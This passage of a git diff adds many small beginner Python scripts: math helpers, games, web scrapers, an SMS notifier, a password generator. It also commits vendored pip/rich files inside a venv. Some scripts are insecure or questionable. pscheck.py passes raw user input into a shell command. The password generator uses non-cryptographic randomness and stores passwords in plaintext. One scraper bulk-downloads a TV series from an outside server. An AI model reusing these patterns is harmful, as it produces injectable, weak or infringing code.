input: positive integer 'n' + returns the factorial of 'n' (n!) + """ + + # precondition + assert isinstance(n, int) and (n >= 0), "'n' must been a int and >= 0" + + ans = 1 # this will be return. + + for factor in range(1, n + 1): + ans *= factor + + return ans + + +# ------------------------------------------------------------------- + + +def fib(n): + """ + input: positive integer 'n' + returns the n-th fibonacci term , indexing by 0 + """ + + # precondition + assert isinstance(n, int) and (n >= 0), "'n' must been an int and >= 0" + + tmp = 0 + fib1 = 1 + ans = 1 # this will be return + + for i in range(n - 1): + tmp = ans + ans += fib1 + fib1 = tmp + + return ans diff --git a/print hello world.py b/print hello world.py new file mode 100644 index 00000000000..1d6d4214987 --- /dev/null +++ b/print hello world.py @@ -0,0 +1,3 @@ +# This program prints Hello, world! + +print("Hello, world!") diff --git a/printing_hello_world.py b/printing_hello_world.py new file mode 100644 index 00000000000..44159b3954c --- /dev/null +++ b/printing_hello_world.py @@ -0,0 +1 @@ +print("Hello world") diff --git a/prison_break_scrapper.py b/prison_break_scrapper.py new file mode 100644 index 00000000000..5aaf5ca5601 --- /dev/null +++ b/prison_break_scrapper.py @@ -0,0 +1,36 @@ +""" +Scrapper for downloading prison break +series from an open server and putting them in a designated folder. +""" + +import os +import subprocess + +import requests as req +from bs4 import BeautifulSoup as bs + +BASE_URL = "http://dl.funsaber.net/serial/Prison%20Break/season%20" + + +def download_files(links, idx): + for link in links: + subprocess.call( + ["aria2c", "-s", "16", "-x", "16", "-d", "season" + str(idx), link] + ) + + +def main(): + for i in range(1, 5): + r = req.get(BASE_URL + str(i) + "/1080/") + soup = bs(r.text, "html.parser") + link_ = [] + for link in soup.find_all("a"): + if ".mkv" in link.get("href"): + link_.append(BASE_URL + str(i) + "/1080/" + link.get("href")) + if not os.path.exists("season" + str(i)): + os.makedirs("season" + str(i)) + download_files(link_, i) + + +if __name__ == "__main__": + main() diff --git a/pscheck.py b/pscheck.py index 6bb6772a4ce..36019a22b4d 100644 --- a/pscheck.py +++ b/pscheck.py @@ -8,32 +8,53 @@ # Description : Process check on Nix boxes, diplsay formatted output from ps command -import commands, os, string +import os +import string + +import commands + +try: + input = raw_input +except NameError: + pass + def ps(): - program = raw_input("Enter the name of the program to check: ") - - try: - #perform a ps command and assign results to a list - output = commands.getoutput("ps -f|grep " + program) - proginfo = string.split(output) - - #display results - print "\n\ - Full path:\t\t", proginfo[5], "\n\ - Owner:\t\t\t", proginfo[0], "\n\ - Process ID:\t\t", proginfo[1], "\n\ - Parent process ID:\t", proginfo[2], "\n\ - Time started:\t\t", proginfo[4] - except: - print "There was a problem with the program." + program = input("Enter the name of the program to check: ") + + try: + # perform a ps command and assign results to a list + output = commands.getoutput("ps -f|grep " + program) + proginfo = string.split(output) + + # display results + print( + "\n\ + Full path:\t\t", + proginfo[5], + "\n\ + Owner:\t\t\t", + proginfo[0], + "\n\ + Process ID:\t\t", + proginfo[1], + "\n\ + Parent process ID:\t", + proginfo[2], + "\n\ + Time started:\t\t", + proginfo[4], + ) + except: + print("There was a problem with the program.") + def main(): - if os.name == "posix": # Unix/Linux/MacOS/BSD/etc - ps() # Call the function - elif os.name in ("nt", "dos", "ce"): # if the OS is windows - print "You need to be on Linux or Unix to run this" - - -if __name__ == '__main__': - main() \ No newline at end of file + if os.name == "posix": # Unix/Linux/MacOS/BSD/etc + ps() # Call the function + elif os.name in ("nt", "dos", "ce"): # if the OS is windows + print("You need to be on Linux or Unix to run this") + + +if __name__ == "__main__": + main() diff --git a/psunotify.py b/psunotify.py new file mode 100644 index 00000000000..e42ca0be03d --- /dev/null +++ b/psunotify.py @@ -0,0 +1,52 @@ +from __future__ import print_function + +import re + +import mechanize +import urllib2 + +br = mechanize.Browser() +br.addheaders = [ + ( + "User-Agent", + "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36", + ) +] +br.set_handle_robots(False) +# For page exploration +page = input("Enter Page No:") +# print type(page) +p = urllib2.Request( + "https://www.google.co.in/search?q=gate+psu+2017+ext:pdf&start=" + page +) +ht = br.open(p) +text = r'(.+?)' +patt = re.compile(text) +h = ht.read() +urls = re.findall(patt, h) +int = 0 +while int < len(urls): + urls[int] = urls[int].replace("", "") + urls[int] = urls[int].replace("", "") + int = int + 1 + +print(urls) + +for url in urls: + try: + temp = url.split("/") + q = temp[len(temp) - 1] + if "http" in url: + r = urllib2.urlopen(url) + else: + r = urllib2.urlopen("http://" + url) + file = open("psu2" + q + ".pdf", "wb") + file.write(r.read()) + file.close() + + print("Done") + except urllib2.URLError: + print( + "Sorry there exists a problem with this URL Please Download this Manually " + + str(url) + ) diff --git a/puttylogs.py b/puttylogs.py index d390e8aa541..46444f95e39 100644 --- a/puttylogs.py +++ b/puttylogs.py @@ -5,23 +5,28 @@ # Version : 1.2 # Modifications : 1.1 - Added the variable zip_program so you can set it for the zip program on whichever OS, so to run on a different OS just change the locations of these two variables. -# : 1.2 - 29-02-12 - CR - Added shutil module and added one line to move the zipped up logs to the zipped_logs directory +# : 1.2 - 29-02-12 - CR - Added shutil module and added one line to move the zipped up logs to the zipped_logs directory # Description : Zip up all the logs in the given directory -import os # Load the Library Module -import shutil # Load the Library Module - 1.2 -from time import strftime # Load just the strftime Module from Time +import os # Load the Library Module +import shutil # Load the Library Module - 1.2 +from time import strftime # Load just the strftime Module from Time -logsdir="c:\logs\puttylogs" # Set the Variable logsdir -zipdir="c:\logs\puttylogs\zipped_logs" # Set the Variable zipdir - 1.2 -zip_program="zip.exe" # Set the Variable zip_program - 1.1 +logsdir = r"c:\logs\puttylogs" # Set the Variable logsdir +zipdir = r"c:\logs\puttylogs\zipped_logs" # Set the Variable zipdir - 1.2 +zip_program = "zip.exe" # Set the Variable zip_program - 1.1 -for files in os.listdir(logsdir): # Find all the files in the directory - if files.endswith(".log"): # Check to ensure the files in the directory end in .log - files1=files+"."+strftime("%Y-%m-%d")+".zip" # Create the Variable files1, this is the files in the directory, then we add a suffix with the date and the zip extension - os.chdir(logsdir) # Change directory to the logsdir - os.system(zip_program + " " + files1 +" "+ files) # Zip the logs into dated zip files for each server. - 1.1 - shutil.move(files1, zipdir) # Move the zipped log files to the zipped_logs directory - 1.2 - os.remove(files) # Remove the original log files - \ No newline at end of file +for files in os.listdir(logsdir): # Find all the files in the directory + if files.endswith(".log"): # Check to ensure the files in the directory end in .log + files1 = ( + files + "." + strftime("%Y-%m-%d") + ".zip" + ) # Create the Variable files1, this is the files in the directory, then we add a suffix with the date and the zip extension + os.chdir(logsdir) # Change directory to the logsdir + os.system( + zip_program + " " + files1 + " " + files + ) # Zip the logs into dated zip files for each server. - 1.1 + shutil.move( + files1, zipdir + ) # Move the zipped log files to the zipped_logs directory - 1.2 + os.remove(files) # Remove the original log files diff --git a/pyhton_array.py b/pyhton_array.py new file mode 100644 index 00000000000..c2ff9b982f3 --- /dev/null +++ b/pyhton_array.py @@ -0,0 +1,8 @@ +from array import * + +array1 = array("i", [10, 20, 30, 40, 50]) + +array1[2] = 80 + +for x in array1: + print(x) diff --git a/pythagoreanTriplets.py b/pythagoreanTriplets.py new file mode 100644 index 00000000000..1e9ff955ea7 --- /dev/null +++ b/pythagoreanTriplets.py @@ -0,0 +1,14 @@ +limit = int(input("Enter upper limit:")) +c = 0 +m = 2 +while c < limit: + for n in range(1, m + 1): + a = m * m - n * n + b = 2 * m * n + c = m * m + n * n + if c > limit: + break + if a == 0 or b == 0 or c == 0: + break + print(a, b, c) + m = m + 1 diff --git a/python Space Invader game.py b/python Space Invader game.py new file mode 100644 index 00000000000..98cdc769ce9 --- /dev/null +++ b/python Space Invader game.py @@ -0,0 +1,180 @@ +import pygame +import random +import math +from pygame import mixer + +# initialization + +pygame.init() + +# create the screen +screen = pygame.display.set_mode((800, 620)) + +# background + +background = pygame.image.load("background.png") + +# bg sound +mixer.music.load("background.wav") +mixer.music.play(-1) + +# title and icon +pygame.display.set_caption("Space Invendera") +icon = pygame.image.load("battleship.png") +pygame.display.set_icon(icon) + +# player +playerimg = pygame.image.load("transport.png") +playerx = 370 +playery = 480 +playerx_change = 0 + +# enemy +enemyimg = [] +enemyx = [] +enemyy = [] +enemyx_change = [] +enemyy_change = [] +number_of_enemies = 6 + +for i in range(number_of_enemies): + enemyimg.append(pygame.image.load("enemy.png")) + enemyx.append(random.randint(0, 800)) + enemyy.append(random.randint(50, 150)) + enemyx_change.append(2.5) + enemyy_change.append(40) + +# bullet +bulletimg = pygame.image.load("bullet.png") +bulletx = 0 +bullety = 480 +bulletx_change = 0 +bullety_change = 10 +bullet_state = "ready" + +# score +score_value = 0 +font = pygame.font.Font("freesansbold.ttf", 32) +textx = 10 +texty = 10 + +# game over txt +over_font = pygame.font.Font("freesansbold.ttf", 64) + + +def show_score(x, y): + score = font.render("score :" + str(score_value), True, (255, 255, 255)) + screen.blit(score, (x, y)) + + +def game_over_text(): + over_txt = over_font.render("GAME OVER", True, (255, 255, 255)) + screen.blit(over_txt, (200, 250)) + + +# for display player img +def player(x, y): + screen.blit(playerimg, (x, y)) + + +# foe desplaing enemy img + + +def enemy(x, y, i): + screen.blit(enemyimg[i], (x, y)) + + +def fire_bullet(x, y): + global bullet_state + bullet_state = "fire" + screen.blit(bulletimg, (x + 16, y + 10)) + + +def iscollision(enemyx, enemyy, bulletx, bullety): + distance = math.sqrt( + (math.pow(enemyx - bulletx, 2)) + (math.pow(enemyy - bullety, 2)) + ) + if distance < 27: + return True + else: + return False + + +# game loop +running = True +while running: + screen.fill((0, 0, 0)) + # for bg img + screen.blit(background, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + + # if keystroke in pressed whether it is right of left + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_LEFT: + playerx_change = -5 + if event.key == pygame.K_RIGHT: + playerx_change = 5 + + if event.key == pygame.K_SPACE: + if bullet_state == "ready": + bullet_sound = mixer.Sound("laser.wav") + bullet_sound.play() + bulletx = playerx + fire_bullet(bulletx, bullety) + + if event.type == pygame.KEYUP: + if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT: + playerx_change = 0 + + playerx += playerx_change + # create boundry for player + if playerx <= 0: + playerx = 0 + elif playerx >= 736: + playerx = 736 + + for i in range(number_of_enemies): + # game over + if enemyy[i] > 440: + for j in range(number_of_enemies): + enemyy[j] = 2000 + game_over_text() + break + + enemyx[i] += enemyx_change[i] + # create boundry for enemy + if enemyx[i] <= 0: + enemyx_change[i] = 2.5 + enemyy[i] += enemyy_change[i] + elif enemyx[i] >= 736: + enemyx_change[i] = -2.5 + enemyy[i] += enemyy_change[i] + + # collision + collision = iscollision(enemyx[i], enemyy[i], bulletx, bullety) + if collision: + explossion_sound = mixer.Sound("explosion.wav") + explossion_sound.play() + bullety = 480 + bullet_state = "ready" + score_value += 1 + enemyx[i] = random.randint(0, 800) + enemyy[i] = random.randint(50, 150) + + enemy(enemyx[i], enemyy[i], i) + + # bullet movement + if bullety <= 0: + bullety = 480 + bullet_state = "ready" + + if bullet_state == "fire": + fire_bullet(bulletx, bullety) + bullety -= bullety_change + + player(playerx, playery) + show_score(textx, texty) + pygame.display.update() diff --git a/pythonVideoDownloader.py b/pythonVideoDownloader.py new file mode 100644 index 00000000000..ce8422e367e --- /dev/null +++ b/pythonVideoDownloader.py @@ -0,0 +1,65 @@ +import requests +from bs4 import BeautifulSoup + +""" +URL of the archive web-page which provides link to +all video lectures. It would have been tiring to +download each video manually. +In this example, we first crawl the webpage to extract +all the links and then download videos. +""" + +# specify the URL of the archive here +archive_url = "http://www-personal.umich.edu/~csev/books/py4inf/media/" + + +def get_video_links(): + # create response object + r = requests.get(archive_url) + + # create beautiful-soup object + soup = BeautifulSoup(r.content, "html5lib") + + # find all links on web-page + links = soup.findAll("a") + + # filter the link sending with .mp4 + video_links = [ + archive_url + link["href"] for link in links if link["href"].endswith("mp4") + ] + + return video_links + + +def download_video_series(video_links): + for link in video_links: + """iterate through all links in video_links + and download them one by one""" + + # obtain filename by splitting url and getting + # last string + file_name = link.split("/")[-1] + + print("Downloading the file:%s" % file_name) + + # create response object + r = requests.get(link, stream=True) + + # download started + with open(file_name, "wb") as f: + for chunk in r.iter_content(chunk_size=1024 * 1024): + if chunk: + f.write(chunk) + + print("%s downloaded!\n" % file_name) + + print("All videos are downloaded!") + return + + +if __name__ == "__main__": + # getting all video links + video_links = get_video_links() + + # download all videos + download_video_series(video_links) diff --git a/python_sms.py b/python_sms.py new file mode 100644 index 00000000000..99cf8f943dc --- /dev/null +++ b/python_sms.py @@ -0,0 +1,78 @@ +from __future__ import print_function + +import os +import sqlite3 +import urllib # URL functions +from time import strftime + +import urllib2 # URL functions + +# Script Name : python_sms.py +# Author : Craig Richards +# Created : 16th February 2017 +# Last Modified : +# Version : 1.0 +# Modifications : +# Description : This will text all the students Karate Club + +dropbox = os.getenv("dropbox") +scripts = os.getenv("scripts") +dbfile = "database/maindatabase.db" +master_db = os.path.join(dropbox, dbfile) + +f = open(scripts + "/output/student.txt", "a") + +tdate = strftime("%d-%m") + +conn = sqlite3.connect(master_db) +cursor = conn.cursor() +loc_stmt = "SELECT name, number from table" +cursor.execute(loc_stmt) +while True: + row = cursor.fetchone() + if row == None: + break + sname = row[0] + snumber = row[1] + + message = f"{sname} There will be NO training tonight on the {tdate}. Sorry for the late notice, I have sent a mail as well, just trying to reach everyone, please do not reply to this message as this is automated" + + username = "YOUR_USERNAME" + sender = "WHO_IS_SENDING_THE_MAIL" + + hash = "YOUR HASH YOU GET FROM YOUR ACCOUNT" + + numbers = snumber + + # Set flag to 1 to simulate sending, this saves your credits while you are testing your code. # To send real message set this flag to 0 + test_flag = 0 + + # ----------------------------------- + # No need to edit anything below this line + # ----------------------------------- + + values = { + "test": test_flag, + "uname": username, + "hash": hash, + "message": message, + "from": sender, + "selectednums": numbers, + } + + url = "http://www.txtlocal.com/sendsmspost.php" + + postdata = urllib.urlencode(values) + req = urllib2.Request(url, postdata) + + print(f"Attempting to send SMS to {sname} at {snumber} on {tdate}") + f.write(f"Attempting to send SMS to {sname} at {snumber} on {tdate}") + + try: + response = urllib2.urlopen(req) + response_url = response.geturl() + if response_url == url: + print("SMS sent!") + except urllib2.URLError as e: + print("Send failed!") + print(e.reason) diff --git a/python_webscraper.py b/python_webscraper.py new file mode 100644 index 00000000000..fab418247d5 --- /dev/null +++ b/python_webscraper.py @@ -0,0 +1,20 @@ +import requests +from bs4 import BeautifulSoup + +# Make a request on to your website +page = requests.get("Paste your Website Domain here") +soup = BeautifulSoup(page.content, "html.parser") + +# Create all_h1_tags as empty list +all_h1_tags = [] + +# Set all_h1_tags to all h1 tags of the soup +for element in soup.select("h1"): + all_h1_tags.append(element.text) + +# Create seventh_p_text and set it to 7th p element text of the page +seventh_p_text = soup.select("p")[6].text + +print(all_h1_tags, seventh_p_text) + +# print all h1 elements and the text of the website on your console diff --git a/qrcode.py b/qrcode.py new file mode 100644 index 00000000000..69e10eed74d --- /dev/null +++ b/qrcode.py @@ -0,0 +1,14 @@ +import qrcode +import cv2 + +qr = qrcode.QRCode(version=1, box_size=10, border=5) + +data = input() +qr.add_data(data) +qr.make(fit=True) +img = qr.make_image(fill_color="blue", back_color="white") +path = data + ".png" +img.save(path) +cv2.imshow("QRCode", img) +cv2.waitKey(0) +cv2.destroyAllWindows() diff --git a/qrdecoder.py b/qrdecoder.py new file mode 100644 index 00000000000..a1759f84112 --- /dev/null +++ b/qrdecoder.py @@ -0,0 +1,11 @@ +# Importing Required Modules +import cv2 + +# QR Code Decoder + +filename = input() +image = cv2.imread(filename) # Enter name of the image +detector = cv2.QRCodeDetector() +data, vertices_array, binary_qrcode = detector.detectAndDecode(image) +if vertices_array is not None: + print(data) diff --git a/quiz_game.py b/quiz_game.py new file mode 100644 index 00000000000..cd2a8aff48c --- /dev/null +++ b/quiz_game.py @@ -0,0 +1,37 @@ +print("Welcome to AskPython Quiz") +answer = input("Are you ready to play the Quiz ? (yes/no) :") +score = 0 +total_questions = 3 + +if answer.lower() == "yes": + answer = input("Question 1: What is your Favourite programming language?") + if answer.lower() == "python": + score += 1 + print("correct") + else: + print("Wrong Answer :(") + + answer = input("Question 2: Do you follow any author on AskPython? ") + if answer.lower() == "yes": + score += 1 + print("correct") + else: + print("Wrong Answer :(") + + answer = input( + "Question 3: What is the name of your favourite website for learning Python?" + ) + if answer.lower() == "askpython": + score += 1 + print("correct") + else: + print("Wrong Answer :(") + +print( + "Thankyou for Playing this small quiz game, you attempted", + score, + "questions correctly!", +) +mark = (score / total_questions) * 100 +print("Marks obtained:", mark) +print("BYE!") diff --git a/quote.py b/quote.py new file mode 100644 index 00000000000..ed3b1b1317f --- /dev/null +++ b/quote.py @@ -0,0 +1,22 @@ +# Sends inspirational quotes to the user using Zen Quotes API + +# Format +""" +example quote -Quote Author Name +""" + +import requests +from json import loads + + +def return_quote(): + response = requests.get("https://zenquotes.io/api/random") + json_data = loads(response.text) + quote = ( + json_data[0]["q"] + " -" + json_data[0]["a"] + ) # aligning the quote and it's author name in one string + return quote + + +quote = return_quote() +print(quote) diff --git a/random-sentences.py b/random-sentences.py new file mode 100644 index 00000000000..3e6e8baacb7 --- /dev/null +++ b/random-sentences.py @@ -0,0 +1,43 @@ +"""Generates Random Sentences +Creates a sentence by selecting a word at randowm from each of the lists in +the following order: 'article', 'nounce', 'verb', 'preposition', +'article' and 'noun'. +The second part produce a short story consisting of several of +these sentences -- Random Note Writer!!""" + +import random + +article = ["the", "a", "one", "some", "any"] +noun = ["boy", "girl", "dog", "town", "car"] +verb = ["drove", "jumped", "ran", "walked", "skipped"] +preposition = ["to", "from", "over", "under", "on"] + + +def random_int(): + return random.randint(0, 4) + + +def random_sentence(): + """Creates random and return sentences.""" + return ( + "{} {} {} {} {} {}".format( + article[random_int()], + noun[random_int()], + verb[random_int()], + preposition[random_int()], + article[random_int()], + noun[random_int()], + ) + ).capitalize() + + +# prints random sentences +for sentence in list(map(lambda x: random_sentence(), range(0, 20))): + print(sentence) + +print("\n") + +story = (". ").join(list(map(lambda x: random_sentence(), range(0, 20)))) + +# prints random sentences story +print("{}".format(story)) diff --git a/random_file_move.py b/random_file_move.py new file mode 100644 index 00000000000..38ccdc8649b --- /dev/null +++ b/random_file_move.py @@ -0,0 +1,69 @@ +# Script Name : random_file_move.py +# Author(s) : Akash Jain +# Created : 1 September 2020 +# Last Modified : 1 September 2020 +# Version : 1.0 +# Description : This will move specified number of files(given in ratio) from the src directory to dest directory. + + +import os +import random +import argparse + + +def check_ratio(x): + try: + x = float(x) + except ValueError: + raise argparse.ArgumentTypeError("%r not a floating-point literal" % (x,)) + + if x < 0.0 or x > 1.0: + raise argparse.ArgumentTypeError("%r not in range [0.0, 1.0]" % (x)) + return x + + +desc = "Script to move specified number of files(given in ratio) from the src directory to dest directory." +usage = "python random_file_move.py -src [SRC] -dest [DEST] -ratio [RATIO]" + +parser = argparse.ArgumentParser(usage=usage, description=desc) +parser.add_argument( + "-src", + "--src", + type=str, + required=True, + help="(REQUIRED) Path to directory from which we cut files. Space not allowed in path.", +) +parser.add_argument( + "-dest", + "--dest", + type=str, + required=True, + help="(REQUIRED) Path to directory to which we move files. Space not allowed in path.", +) +parser.add_argument( + "-ratio", + "--ratio", + type=check_ratio, + required=True, + help="(REQUIRED) Ratio of files in 'src' and 'dest' directory.", +) + +args = parser.parse_args() + +src = args.src +dest = args.dest +ratio = args.ratio + +files = os.listdir(src) +size = int(ratio * len(files)) + +print("Move {} files from {} to {} ? [y/n]".format(size, src, dest)) +if input().lower() == "y": + for f in random.sample(files, size): + try: + os.rename(os.path.join(src, f), os.path.join(dest, f)) + except Exception as e: + print(e) + print("Successful") +else: + print("Cancelled") diff --git a/random_password_gen.py b/random_password_gen.py new file mode 100644 index 00000000000..64fb87b7a23 --- /dev/null +++ b/random_password_gen.py @@ -0,0 +1,41 @@ +""" +random_password_gen.py +A script to generate strong random passwords. + +Usage: +$ python random_password_gen.py + +Author: Keshavraj Pore +""" + +import random +import string + + +def generate_password(length=12): + characters = string.ascii_letters + string.digits + string.punctuation + password = "".join(random.choice(characters) for _ in range(length)) + return password + + +def main(): + print("Random Password Generator") + try: + length = int(input("Enter desired password length: ")) + if length < 6: + print(" Password length should be at least 6.") + return + password = generate_password(length) + print(f"\nGenerated Password: {password}") + + # Save to file + with open("passwords.txt", "a") as file: + file.write(password + "\n") + print(" Password saved to passwords.txt") + + except ValueError: + print(" Please enter a valid number.") + + +if __name__ == "__main__": + main() diff --git a/randomloadingmessage.py b/randomloadingmessage.py new file mode 100644 index 00000000000..71654d249b0 --- /dev/null +++ b/randomloadingmessage.py @@ -0,0 +1,169 @@ +# Created by Nathan R (Mosrod) +# CREDIT TO https://github.com/1egoman/funnies/blob/master/src/funnies.js + +from random import * + +x = 1 + +for i in range(x): + num = randint(1, 80) + if num == 1: + print("Reticulating splines...") + if num == 2: + print("Swapping time and space...") + if num == 3: + print("Spinning violently around the y-axis...") + if num == 4: + print("Tokenizing real life...") + if num == 5: + print("Bending the spoon...") + if num == 6: + print("Filtering morale...") + if num == 7: + print("We need a new fuse...") + if num == 8: + print("Have a good day.") + if num == 9: + print( + "Upgrading Windows, your PC will restart several times. Sit back and relax." + ) + if num == 10: + print("The architects are still drafting.") + if num == 11: + print("We're building the buildings as fast as we can.") + if num == 12: + print("Please wait while the little elves draw your map.") + if num == 13: + print("Don't worry - a few bits tried to escape, but we caught them.") + if num == 14: + print("Go ahead -- hold your breath!") + if num == 15: + print("...at least you're not on hold...") + if num == 16: + print("The server is powered by a lemon and two electrodes.") + if num == 17: + print("We're testing your patience.") + if num == 18: + print("As if you had any other choice.") + if num == 19: + print("The bits are flowing slowly today.") + if num == 20: + print("It's still faster than you could draw it.") + if num == 21: + print("My other loading screen is much faster.") + if num == 22: + print("(Insert quarter)") + if num == 23: + print("Are we there yet?") + if num == 24: + print("Just count to 10.") + if num == 25: + print("Don't panic...") + if num == 26: + print("We're making you a cookie.") + if num == 27: + print("Creating time-loop inversion field.") + if num == 28: + print("Computing chance of success.") + if num == 29: + print("All I really need is a kilobit.") + if num == 30: + print("I feel like im supposed to be loading something...") + if num == 31: + print("Should have used a compiled language...") + if num == 32: + print("Is this Windows?") + if num == 33: + print("Don't break your screen yet!") + if num == 34: + print("I swear it's almost done.") + if num == 35: + print("Let's take a mindfulness minute...") + if num == 36: + print("Listening for the sound of one hand clapping...") + if num == 37: + print("Keeping all the 1's and removing all the 0's...") + if num == 38: + print("We are not liable for any broken screens as a result of waiting.") + if num == 39: + print("Where did all the internets go?") + if num == 40: + print("Granting wishes...") + if num == 41: + print("Time flies when you’re having fun.") + if num == 42: + print("Get some coffee and come back in ten minutes...") + if num == 43: + print("Stay awhile and listen...") + if num == 44: + print("Convincing AI not to turn evil...") + if num == 45: + print("How did you get here?") + if num == 46: + print("Wait, do you smell something burning?") + if num == 47: + print("Computing the secret to life, the universe, and everything.") + if num == 48: + print("When nothing is going right, go left...") + if num == 49: + print("I love my job only when I'm on vacation...") + if num == 50: + print("Why are they called apartments if they are all stuck together?") + if num == 51: + print("I’ve got problem for your solution...") + if num == 52: + print("Whenever I find the key to success, someone changes the lock.") + if num == 53: + print("Constructing additional pylons...") + if num == 54: + print("You don’t pay taxes—they take taxes.") + if num == 55: + print("A commit a day keeps the mobs away.") + if num == 56: + print("This is not a joke, it's a commit.") + if num == 57: + print("Hello IT, have you tried turning it off and on again?") + if num == 58: + print("Hello, IT... Have you tried forcing an unexpected reboot?") + if num == 59: + print("I didn't choose the engineering life. The engineering life chose me.") + if num == 60: + print("Dividing by zero...") + if num == 61: + print("If I’m not back in five minutes, just wait longer.") + if num == 62: + print("Web developers do it with + + +

%(title)s

+ +''' + +DOC_HEADER_EXTERNALCSS = '''\ + + + + + %(title)s + + + + +

%(title)s

+ +''' + +DOC_FOOTER = '''\ + + +''' + + +class HtmlFormatter(Formatter): + r""" + Format tokens as HTML 4 ```` tags. By default, the content is enclosed + in a ``
`` tag, itself wrapped in a ``
`` tag (but see the `nowrap` option). + The ``
``'s CSS class can be set by the `cssclass` option. + + If the `linenos` option is set to ``"table"``, the ``
`` is
+    additionally wrapped inside a ```` which has one row and two
+    cells: one containing the line numbers and one containing the code.
+    Example:
+
+    .. sourcecode:: html
+
+        
+
+ + +
+
1
+            2
+
+
def foo(bar):
+              pass
+            
+
+ + (whitespace added to improve clarity). + + A list of lines can be specified using the `hl_lines` option to make these + lines highlighted (as of Pygments 0.11). + + With the `full` option, a complete HTML 4 document is output, including + the style definitions inside a `` + + +
{code}
+ + +""" + +CONSOLE_SVG_FORMAT = """\ + + + + + + + + + {lines} + + + {chrome} + + {backgrounds} + + {matrix} + + + +""" + +_SVG_FONT_FAMILY = "Rich Fira Code" +_SVG_CLASSES_PREFIX = "rich-svg" diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_extension.py b/venv/Lib/site-packages/pip/_vendor/rich/_extension.py new file mode 100644 index 00000000000..cbd6da9be49 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_extension.py @@ -0,0 +1,10 @@ +from typing import Any + + +def load_ipython_extension(ip: Any) -> None: # pragma: no cover + # prevent circular import + from pip._vendor.rich.pretty import install + from pip._vendor.rich.traceback import install as tr_install + + install() + tr_install() diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_fileno.py b/venv/Lib/site-packages/pip/_vendor/rich/_fileno.py new file mode 100644 index 00000000000..b17ee651174 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_fileno.py @@ -0,0 +1,24 @@ +from __future__ import annotations + +from typing import IO, Callable + + +def get_fileno(file_like: IO[str]) -> int | None: + """Get fileno() from a file, accounting for poorly implemented file-like objects. + + Args: + file_like (IO): A file-like object. + + Returns: + int | None: The result of fileno if available, or None if operation failed. + """ + fileno: Callable[[], int] | None = getattr(file_like, "fileno", None) + if fileno is not None: + try: + return fileno() + except Exception: + # `fileno` is documented as potentially raising a OSError + # Alas, from the issues, there are so many poorly implemented file-like objects, + # that `fileno()` can raise just about anything. + return None + return None diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_inspect.py b/venv/Lib/site-packages/pip/_vendor/rich/_inspect.py new file mode 100644 index 00000000000..30446ceb3f0 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/_inspect.py @@ -0,0 +1,270 @@ +from __future__ import absolute_import + +import inspect +from inspect import cleandoc, getdoc, getfile, isclass, ismodule, signature +from typing import Any, Collection, Iterable, Optional, Tuple, Type, Union + +from .console import Group, RenderableType +from .control import escape_control_codes +from .highlighter import ReprHighlighter +from .jupyter import JupyterMixin +from .panel import Panel +from .pretty import Pretty +from .table import Table +from .text import Text, TextType + + +def _first_paragraph(doc: str) -> str: + """Get the first paragraph from a docstring.""" + paragraph, _, _ = doc.partition("\n\n") + return paragraph + + +class Inspect(JupyterMixin): + """A renderable to inspect any Python Object. + + Args: + obj (Any): An object to inspect. + title (str, optional): Title to display over inspect result, or None use type. Defaults to None. + help (bool, optional): Show full help text rather than just first paragraph. Defaults to False. + methods (bool, optional): Enable inspection of callables. Defaults to False. + docs (bool, optional): Also render doc strings. Defaults to True. + private (bool, optional): Show private attributes (beginning with underscore). Defaults to False. + dunder (bool, optional): Show attributes starting with double underscore. Defaults to False. + sort (bool, optional): Sort attributes alphabetically. Defaults to True. + all (bool, optional): Show all attributes. Defaults to False. + value (bool, optional): Pretty print value of object. Defaults to True. + """ + + def __init__( + self, + obj: Any, + *, + title: Optional[TextType] = None, + help: bool = False, + methods: bool = False, + docs: bool = True, + private: bool = False, + dunder: bool = False, + sort: bool = True, + all: bool = True, + value: bool = True, + ) -> None: + self.highlighter = ReprHighlighter() + self.obj = obj + self.title = title or self._make_title(obj) + if all: + methods = private = dunder = True + self.help = help + self.methods = methods + self.docs = docs or help + self.private = private or dunder + self.dunder = dunder + self.sort = sort + self.value = value + + def _make_title(self, obj: Any) -> Text: + """Make a default title.""" + title_str = ( + str(obj) + if (isclass(obj) or callable(obj) or ismodule(obj)) + else str(type(obj)) + ) + title_text = self.highlighter(title_str) + return title_text + + def __rich__(self) -> Panel: + return Panel.fit( + Group(*self._render()), + title=self.title, + border_style="scope.border", + padding=(0, 1), + ) + + def _get_signature(self, name: str, obj: Any) -> Optional[Text]: + """Get a signature for a callable.""" + try: + _signature = str(signature(obj)) + ":" + except ValueError: + _signature = "(...)" + except TypeError: + return None + + source_filename: Optional[str] = None + try: + source_filename = getfile(obj) + except (OSError, TypeError): + # OSError is raised if obj has no source file, e.g. when defined in REPL. + pass + + callable_name = Text(name, style="inspect.callable") + if source_filename: + callable_name.stylize(f"link file://{source_filename}") + signature_text = self.highlighter(_signature) + + qualname = name or getattr(obj, "__qualname__", name) + + # If obj is a module, there may be classes (which are callable) to display + if inspect.isclass(obj): + prefix = "class" + elif inspect.iscoroutinefunction(obj): + prefix = "async def" + else: + prefix = "def" + + qual_signature = Text.assemble( + (f"{prefix} ", f"inspect.{prefix.replace(' ', '_')}"), + (qualname, "inspect.callable"), + signature_text, + ) + + return qual_signature + + def _render(self) -> Iterable[RenderableType]: + """Render object.""" + + def sort_items(item: Tuple[str, Any]) -> Tuple[bool, str]: + key, (_error, value) = item + return (callable(value), key.strip("_").lower()) + + def safe_getattr(attr_name: str) -> Tuple[Any, Any]: + """Get attribute or any exception.""" + try: + return (None, getattr(obj, attr_name)) + except Exception as error: + return (error, None) + + obj = self.obj + keys = dir(obj) + total_items = len(keys) + if not self.dunder: + keys = [key for key in keys if not key.startswith("__")] + if not self.private: + keys = [key for key in keys if not key.startswith("_")] + not_shown_count = total_items - len(keys) + items = [(key, safe_getattr(key)) for key in keys] + if self.sort: + items.sort(key=sort_items) + + items_table = Table.grid(padding=(0, 